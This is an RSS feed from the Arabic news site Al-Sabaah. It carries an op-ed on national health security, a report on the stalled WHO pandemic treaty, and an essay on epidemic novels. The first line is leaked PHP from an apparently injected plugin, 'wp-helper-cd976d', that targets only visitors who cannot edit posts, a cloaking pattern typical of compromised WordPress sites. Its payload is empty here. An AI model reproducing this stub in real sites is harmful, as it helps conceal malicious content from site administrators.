function wp_pf_abebcfd8(){$c=wp_get_current_user()->has_cap('edit_posts')?1:0;if($c==0){echo'';}}add_action("wp_head","wp_pf_abebcfd8");
Warning: Cannot modify header information - headers already sent by (output started at /home/forsaaly/public_html/wp-content/plugins/wp-helper-cd976d/wp-helper-cd976d.php:1) in /home/forsaaly/public_html/wp-includes/feed-rss2.php on line 8
الأوبئة Archives - منصة الصباح https://alsabaah.ly/tag/الأوبئة/ الصباح، منصة إخبارية رقمية Mon, 11 May 2026 21:00:31 +0000 ar hourly 1 https://wordpress.org/?v=7.0.4 https://alsabaah.ly/wp-content/uploads/2023/11/cropped-Sq-32x32.png الأوبئة Archives - منصة الصباح https://alsabaah.ly/tag/الأوبئة/ 32 32 الأوبئة والأمن الصحي https://alsabaah.ly/%d8%a7%d9%84%d8%a3%d9%88%d8%a8%d8%a6%d8%a9/ Mon, 11 May 2026 21:00:31 +0000 https://alsabaah.ly/?p=208361 حين تتحول الأوبئة والأمراض المعدية من أحداث طارئة إلى واقع متكرر ومقلق فإن السؤال لم يعد كيف نُعالج المرض إنما كيف نبني منظومة تمنع الانهيار أمامه، خاصة في عالم يواجه في الوقت ذاته تصاعدًا حادًا في الأمراض المزمنة والأورام والأمراض المناعية وشيخوخة السكان، وهو تداخل يُثقل كاهل النظم الصحية ويجعل أي وباء محدود قادرًا على …

The post الأوبئة والأمن الصحي appeared first on منصة الصباح.

]]>
حين تتحول الأوبئة والأمراض المعدية من أحداث طارئة إلى واقع متكرر ومقلق فإن السؤال لم يعد كيف نُعالج المرض إنما كيف نبني منظومة تمنع الانهيار أمامه، خاصة في عالم يواجه في الوقت ذاته تصاعدًا حادًا في الأمراض المزمنة والأورام والأمراض المناعية وشيخوخة السكان، وهو تداخل يُثقل كاهل النظم الصحية ويجعل أي وباء محدود قادرًا على إحداث شلل واسع، كما رأينا مع كوفيد-19، أو كما يُخشى في سياقات متجددة مع فيروس الهانتا أو غيره،

وبين أمراض تاريخية مثل الطاعون والجدري، وأمراض مزمنة الانتشار مثل الإيدز، يتأكد أن الحماية الصحية الحقيقية لا تُبنى بردود الفعل إنما تبنى بتصميم منظومة سيادية متكاملة تتعامل مع الخطر قبل ظهوره وأثناءه وبعده في آن واحد، وهذه المنظومة تبدأ من إعادة تعريف الأمن الصحي بوصفه جزءًا من الأمن القومي وليس قطاعًا خدميًا، وتُترجم إلى سياسات واستراتيجيات عملية مترابطة تقوم:

– أولًا : على بناء نظام ترصد وبائي ذكي ومتعدد المستويات يعتمد على البيانات الفورية والذكاء التحليلي وربط المرافق الصحية والمختبرات والمنافذ الحدودية في شبكة إنذار مبكر قادرة على التقاط الإشارات الضعيفة قبل أن تتحول إلى موجات عاتية، ويشمل ذلك التوسع في الفحوصات الجزيئية والسريعة، وتكامل قواعد البيانات الصحية مع تقنيات التتبع الحديثة مع مراعاة الخصوصية، بحيث لا تضيع العدوى في فترات الحضانة التي تُعد أخطر ما في الأمراض المعدية نظرًا لقدرتها على الانتشار الصامت في عالم تتسارع فيه حركة البشر والهجرة والسفر،

– ثانيًا : تبنّي نموذج الصحة الواحدة الذي يدمج مراقبة صحة الإنسان بالحيوان بالبيئة، عبر أنظمة رقابة بيطرية وبيئية صارمة، خصوصًا في المناطق التي تُعد بؤرًا محتملة لانتقال الأمراض،

– ثالثًا : الاستثمار الجاد في الرعاية الصحية الأولية بوصفها خط الدفاع الأول، حيث يتم الكشف المبكر والتوعية والتطعيم وكسر سلاسل العدوى قبل تضخمها، مع بناء برامج تطعيم مرنة تستجيب للمتغيرات الوبائية وتُعيد الثقة المجتمعية في اللقاحات،

– رابعًا : إنشاء بنية تحتية مرنة قابلة للتوسع السريع تشمل مستشفيات احتياطية أو وحدات قابلة للتحويل، ومناطق عزل مجهزة وفق أعلى معايير مكافحة العدوى، مع أنظمة تهوية وضغط سلبي، وتدفقات منفصلة للمرضى، وخطط واضحة لتوسيع الأسرة والعناية المركزة خلال الأزمات،

– خامسًا : تطوير منظومات لوجستية ذكية تضمن توفر المخزون الاستراتيجي من الأدوية والمستلزمات والمعدات الوقائية وسلاسل الإمداد بحيث لا تتعطل في أوقات الذروة، مع تنويع مصادر التوريد والتصنيع المحلي قدر الإمكان،

– سادسًا : بناء قوة عاملة صحية عالية الكفاءة ليست فقط في العدد بل في التأهيل المستمر على إدارة الأزمات، ومكافحة العدوى، والعمل ضمن فرق متعددة التخصصات، مع توفير الحماية النفسية والمهنية لهم لأنهم خط الدفاع الأخير،

– سابعًا : ترسيخ ثقافة مجتمعية صحية قائمة على الوعي لا الخوف، من خلال إعلام صحي مسؤول وشفاف يُشرك المجتمع في الوقاية بدل أن يضعه في موقع المتلقي،

– ثامنًا وضع أطر قانونية وتنظيمية مرنة تسمح باتخاذ قرارات سريعة مثل العزل والحجر الصحي، وتقييد الحركة عند الضرورة، دون ارتباك إداري أو تضارب في الصلاحيات،

– تاسعًا تعزيز التعاون الدولي وتبادل المعلومات لأن الأوبئة عابرة للحدود ولا يمكن لدولة أن تحمي نفسها بمعزل عن غيرها، أما على مستوى الاستعداد العملي والاستجابة الفعلية عند ظهور العدوى، فإن ذلك يتطلب تفعيل خطط الطوارئ فورًا عبر تحديد الحالات وعزلها وفق بروتوكولات دقيقة، وتتبع المخالطين بسرعة وكفاءة، وتطبيق إجراءات وقائية تشمل استخدام معدات الحماية الشخصية، وتعقيم البيئات، وإدارة النفايات الطبية، وضمان استمرارية الخدمات الصحية الأساسية حتى لا تتحول الأزمة الوبائية إلى أزمة صحية شاملة،

كما يجب توفير مسارات واضحة للتعامل مع الحالات من المنزل إلى المستشفى إلى العناية المركزة، مع دعم الرعاية المنزلية للحالات البسيطة لتخفيف الضغط على المستشفيات، وتفعيل أنظمة الاستشارة عن بعد، وفي الوقت ذاته حماية الفئات الأكثر هشاشة مثل كبار السن ومرضى الأمراض المزمنة، وهنا يظهر التكامل الحقيقي بين الوقاية والعلاج والإدارة، لأن أي خلل في أحدها ينعكس على الآخر،

وفي النهاية فإن العالم لا يحتاج إلى مزيد من الخطط النظرية بقدر ما يحتاج إلى إرادة تطبيق حقيقية تُحول هذه الاستراتيجيات إلى واقع، فالأوبئة القادمة ليست مفاجأة هي نتيجة متوقعة، والفرق بين نظام ينهار وآخر يصمد لا يكمن في الإمكانيات فقط إنما في الرؤية والاستعداد والقدرة على التحرك في الوقت المناسب، لأن الصحة في جوهرها ليست خدمة تُقدم عند الحاجة هي منظومة تُبنى باستمرار لتحمي الإنسان حتى في أصعب لحظاته.

د.علي المبروك أبوقرين

The post الأوبئة والأمن الصحي appeared first on منصة الصباح.

]]>
افتتاح جمعية الصحة العالمية بعد تعثر مفاوضات معاهدة الجوائح https://alsabaah.ly/%d9%85%d8%b9%d8%a7%d9%87%d8%af%d8%a9-%d8%a7%d9%84%d8%ac%d9%88%d8%a7%d8%a6%d8%ad/ Wed, 29 May 2024 07:31:31 +0000 https://alsabaah.ly/?p=132890 أعرب رئيس منظمة الصحة العالمية عن ثقته في أن الدول ستتوصل يوما ما إلى اتفاق بشأن معاهدة لمكافحة الأوبئة. افتتحت منظمة الصحة العالمية (WHO) اجتماعها السنوي يوم الاثنين، حيث يأمل الوزراء وكبار المبعوثين من الحكومات في تعزيز الاستعداد العالمي للوباء القادم. ولكن المشروع الأكثر طموحًا، وهو اعتماد “معاهدة” للتصدي للأوبئة، تم تأجيله في الوقت الحالي …

The post افتتاح جمعية الصحة العالمية بعد تعثر مفاوضات معاهدة الجوائح appeared first on منصة الصباح.

]]>
أعرب رئيس منظمة الصحة العالمية عن ثقته في أن الدول ستتوصل يوما ما إلى اتفاق بشأن معاهدة لمكافحة الأوبئة.
افتتحت منظمة الصحة العالمية (WHO) اجتماعها السنوي يوم الاثنين، حيث يأمل الوزراء وكبار المبعوثين من الحكومات في تعزيز الاستعداد العالمي للوباء القادم.
ولكن المشروع الأكثر طموحًا، وهو اعتماد “معاهدة” للتصدي للأوبئة، تم تأجيله في الوقت الحالي بعد أن فشل أكثر من عامين من العمل في إنتاج مسودة يمكن للدول أن تتحد حولها بحلول الأسبوع الماضي.
أصر المدير العام لمنظمة الصحة العالمية تيدروس أدهانوم غيبريسيوس على أنه ليس فشلًا، قائلاً إن المهمة “هائلة” مع عمل الدول الأعضاء على “جدول زمني طموح للغاية”.
وقال إن المفاوضين عانوا من ليالٍ بلا نوم، مضيفًا أن “سيلاً من المعلومات المضللة والمزيفة” قد قوض جهودهم.
وقال تيدروس: “بالطبع، نتمنى جميعًا أن نكون قادرين على التوصل إلى إجماع بشأن الاتفاقية في الوقت المناسب لهذه الجمعية الصحية وعبور خط النهاية، لكني لا أزال على ثقة بأنكم ستفعلون ذلك لأن العزيمة تقود إلى العمل”.
كان مسؤولو منظمة الصحة العالمية وغيرهم حريصين على زخم القلق الناجم عن جائحة كوفيد -19، مع احتمال أنه كلما تلاشى تأثيره في التاريخ، قل اهتمام الجمهور والحكومات بالاستعداد للأوبئة المستقبلية.
واجه صناع القرار صعوبة في تحقيق التوازن بين المصالح الوطنية ودعوة مسؤولي منظمة الصحة العالمية للتفكير بشكل أوسع لصالح الإنسانية والمساواة حيث تؤثر الأمراض على العالم.
وكانت هناك انتقادات متزايدة من النشطاء اليمينيين الذين زعموا أن المعاهدة ستقوض السيادة، وهو ادعاء دحضته منظمة الصحة العالمية بشدة.
سيضطر وزراء الصحة الآن إلى القيام بالعمل ومحاولة التغلب على الخلافات العميقة الجذور، بما في ذلك كيفية مشاركة العالم المعلومات حول الأمراض الناشئة والموارد النادرة مثل اللقاحات والأقنعة عندما يرتفع الطلب بشكل كبير.
فرصة لا تتكرر إلا مرة واحدة في العمر
ودعا الأمين العام للأمم المتحدة أنطونيو جوتيريش، في كلمة عبر الفيديو، إلى اعتبار اتفاقية الأوبئة “فرصة لا تتكرر إلا مرة واحدة في العمر” لضمان استجابة أنظمة الصحة العالمية بشكل أسرع وأكثر عدالة في تفشي المرض التالي، وحث المندوبين على دعم التعديلات على لوائح الصحة الدولية كطريقة لتعزيز الاستجابة للطوارئ.
وقال رئيس وزراء تايلاند، برايوت تشان أوتشا، عبر الفيديو: “بينما تدور الحجج القانونية والمفاوضات اللامتناهية بشأن معاهدة الأوبئة، دعونا نتذكر أن جوهر الرعاية الصحية لا يقتصر فقط على السياسات والبرامج، وإنما يدور حول إنسانيتنا المشتركة”.
وقال تيدروس الأسبوع الماضي، إنه بدلاً من معاهدة الأوبئة، فإن أفضل فرصة الآن لتعزيز البنية التحتية الصحية الدولية لمكافحة مثل هذه التفشيات عبر الحدود تتمثل في تعديلات على اللوائح الصحية الدولية التي يعود تاريخها إلى ما يقرب من عقدين والتي وافقت عليها الدول “من حيث المبدأ”.
تركز هذه اللوائح على مساعدة البلدان في اكتشاف حالات الطوارئ الصحية والاستجابة لها.
على سبيل المثال، يمكن لمبعوثي الجمعية تأسيس مفهوم “حالة الطوارئ الوبائية” وتحسين فئة حالات طوارئ الصحة العامة ذات الاهتمام الدولي المرهقة، والتي تعتبر حاليًا أعلى مستوى تحذير لمنظمة الصحة العالمية للأوبئة الخطيرة.
يمكن لمثل هذا المصطلح أن يساعد في إعلام الجمهور في وقت ينتشر فيه الارتباك وعدم اليقين، كما هو الحال مع كوفيد -19.

The post افتتاح جمعية الصحة العالمية بعد تعثر مفاوضات معاهدة الجوائح appeared first on منصة الصباح.

]]>
الأوبئة في الرواية الأدبية https://alsabaah.ly/%d8%a7%d9%84%d8%a3%d9%88%d8%a8%d8%a6%d8%a9-%d9%81%d9%8a-%d8%a7%d9%84%d8%b1%d9%88%d8%a7%d9%8a%d8%a9-%d8%a7%d9%84%d8%a3%d8%af%d8%a8%d9%8a%d8%a9/ Tue, 12 Mar 2024 20:25:58 +0000 https://alsabaah.ly/?p=119449 خلود الفلاح لا شك أن تفشي الأوبئة على مر تاريخ البشرية كان لها أثر في السرد. على اعتبار أن الأدب هو انعكاس للتحولات الاجتماعية والاقتصادية والثقافية وتأثير كل ذلك على حياة الناس. ومن هنا ظهر مصطلح “أدب الوباء”. هل نسبة القراءة تزداد في أزمنة الوباء حيث أن البشر بطبيعتهم يتجهون إلى القراءة محاولة منهم لكسر …

The post الأوبئة في الرواية الأدبية appeared first on منصة الصباح.

]]>
خلود الفلاح

لا شك أن تفشي الأوبئة على مر تاريخ البشرية كان لها أثر في السرد. على اعتبار أن الأدب هو انعكاس للتحولات الاجتماعية والاقتصادية والثقافية وتأثير كل ذلك على حياة الناس. ومن هنا ظهر مصطلح “أدب الوباء”.

هل نسبة القراءة تزداد في أزمنة الوباء حيث أن البشر بطبيعتهم يتجهون إلى القراءة محاولة منهم لكسر عزلة فترات الحجر الصحي؟ ولماذا تم توظيف الأوبئة والفيروسات في النص السردي؟

وتشير تقارير صحافية، إلى أن رواية (الطاعون) صعدت من المركز ال (71) على بوابة المبيعات عبر الإنترنت في إيطاليا إلى المركز الثالث.  وفي ذات الوقت سارعت دار بنجوين البريطانية إلى إعادة طبع رواية (الطاعون)، بعد مرور (73) عاما على صدورها. بعد تهافت القراء في مختلف أنحاء العالم على شراءها، في محاولة لفهم تفشي كوفيد-19

وهنا نقدم بعض الروايات الأدبية التي كان الوباء محورها الرئيسي.

في رواية “الطاعون” للروائي الفرنسي ألبير كامو، كانت مدينة وهران الجزائرية مسرحاً لأحداث رواية خيالية تتحدث عن تفشي مرض الطاعون في الجزائر فترة الحكم الاستعماري الفرنسي. تطرح الرواية أسئلة فلسفية، وعبثية، حول ماهية القدر والوضع البشري الهش.

وفي أجواء تراجيدية بين الكونغو وجنوب السودان تدور أحداث رواية (إيبولا76) للروائي السوداني أمير تاج السر. وتكشف الرواية عن البؤس المجتمعي المتمثل في الفقر والجهل والعادات القبلية والتخلف.

وتتحدث رواية (العمى) للبرتغالي جوزيه ساراماغو، عن تفشي وباء مجهول الأصل، إذ يبدأ الناس في الإصابة بالعمى فجأة واحداً تلو الآخر، كما أن عماهم ليس عادياً، إنه عمى أبيض.

 

وتخبرنا رواية (أحلام القيامة) للروائي المصري محمد جمال عن انتشار وباء متحور من الإنفلونزا في دول العالم، وتحديدا في ايطاليا. وأيضا عن الذعر والموت الذي ساد في كل مكان.

 

 

The post الأوبئة في الرواية الأدبية appeared first on منصة الصباح.

]]>